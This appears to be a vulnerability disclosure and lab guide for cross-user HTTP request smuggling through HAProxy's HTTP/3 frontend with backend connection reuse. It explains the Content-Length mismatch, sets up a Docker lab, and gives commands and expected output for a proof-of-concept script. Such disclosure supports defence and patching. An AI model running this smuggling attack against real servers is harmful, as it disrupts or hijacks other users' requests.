A vulnerability in HAProxy's HTTP/3 implementation allows an attacker to send an HTTP request with a Content-Length header that does not match the actual body size. HAProxy forwards this malformed request to the backend over HTTP/1.1 with the declared Content-Length but zero body bytes. When the backend sends an early response (e.g., 301 redirect) and drains the pending body from the TCP connection, it consumes bytes belonging to the next HTTP request on that connection — which may originate from a different user.
This results in cross-user HTTP request smuggling via HAProxy's backend connection pool.
Affected: HAProxy with QUIC/H3 support (USE_QUIC=1). Tested on HAProxy 3.0.18.
Configuration required: http-reuse always (non-default, but common in production)
Docker Compose with 3 services:
- haproxy: H3/QUIC frontend (port 10002/udp) + H2/TCP (port 10002/tcp), backend connection pooling (
http-reuse always) - nginx: Stock nginx 1.27 with
autoindex onon/photosdirectory,/statusreturns 200 - client: Python container with aioquic
# 1. Start the lab (HAProxy build takes ~10 min first time)
cd poc/
docker compose up -d --build
# 2. Run the PoC in continuous mode
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. From a browser, navigate to https://<host>:10002/status
# (accept self-signed cert, use --ignore-certificate-errors in Chrome)
# Refresh repeatedly. ~50% of responses will be 400 Bad Request.
# 4. Stop the PoC (Ctrl+C). All browser responses return to normal (200).docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --onceExpected output:
[1] Sending poison request (H3/QUIC)...
-> 301 received. Backend connection pooled with pending body drain.
[2] Waiting 0.5s for HAProxy to pool the connection...
[3] Sending victim GET /status from SEPARATE QUIC connection...
-> Response: HTTP 400
[!] SMUGGLING CONFIRMED
[!] Victim on separate connection got 400 instead of 200
[!] Backend parsed victim's request as body of poison POST